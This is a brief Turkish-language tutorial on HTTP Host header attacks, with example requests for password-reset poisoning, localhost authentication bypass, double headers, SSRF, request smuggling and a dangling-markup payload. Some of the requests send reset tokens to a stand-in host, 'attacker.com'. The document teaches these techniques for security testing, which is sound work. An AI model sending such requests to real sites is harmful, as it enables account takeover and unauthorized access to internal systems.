Host Header Attack

Host Header Attack Nedir?

HTTP Host başlığının amacı, istemcinin hangi back-end bileşeniyle iletişim kurmak istediğini belirlemeye yardımcı olmaktır.

Günümüzde, büyük ölçüde bulut tabanlı çözümlere yönelik sürekli artan eğilim ve ilgili mimarinin çoğunun dış kaynak kullanımı nedeniyle, birden fazla web sitesi ve uygulamanın aynı IP adresinden erişilebilir olması yaygındır. Bu yaklaşım, kısmen IPv4 adreslerinin tükenmesinin bir sonucu olarak da popülerliğini artırmıştır.

HTTP Host header saldırıları, Host header değerini güvenli olmayan bir şekilde işleyen savunmasız web sitelerinden yararlanır. Sunucu Host başlığına güveniyorsa ve bunu düzgün bir şekilde doğrulamaz ise bir saldırgan bu girdiyi sunucu tarafı davranışını manipüle eden zararlı payload'lar enjekte etmek için kullanabilir. Doğrudan Host header'ına bir payload enjekte etmeyi içeren saldırılar genellikle "Host header injection" saldırıları olarak bilinir.

Saldırı Yöntemleri

E-posta ve Parola Sıfırlama İstekleri

Eğer parola sıfırlama adresleri host header kullanılarak oluşturuluyor ise kullanıcı linke tıkladığında sıfırlama tokenini ele geçirebiliriz.

POST /reset-password HTTP/1.1
Host: attacker.com

Authentication Bypass

Eğer admin paneli localhosttan gelen isteklerde bazı panellere erişim izni veriyor ise host header ile erişim alabiliriz.

GET /admin HTTP/1.1
Host: localhost

Double Host Header

Eğer site host header değiştiğinde hata veriyorsa ikinci host header geldiğinde hata vermeyebilir. Bu durumda host header yansıyorsa saldırı deneyebiliriz.

GET / HTTP/1.1
Host: example.com
Host: attacker.com

Host Header SSRF

Eğer host alanı iç ağlara istek atmamızı sağlıyorsa ssrf saldırısı gerçekleştirebiliriz.

GET / HTTP/1.1
Host: 192.168.0.1

Eğer üstteki metod işe yaramıyor ise alttaki şekilde denenebilir. Bu zafiyet url parse işlemi hatalı yapılıyor ise çıkar.

GET https://example.com/ HTTP/1.1
Host: 192.168.0.1

Host Header Request Smuggling

Aşağıdaki iki isteği single-connection olarak yolladığımızda ikinci istekte yanıt geliyor.

GET / HTTP/1.1
Host: example.com
Connection: keep-alive

GET /admin HTTP/1.1
Host: 192.168.0.1
Connection: close

Dangling Markup Injection

POST /reset-password HTTP/1.1
Host: example.com:'<a href="//attacker.com/?

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/host-header

Last updated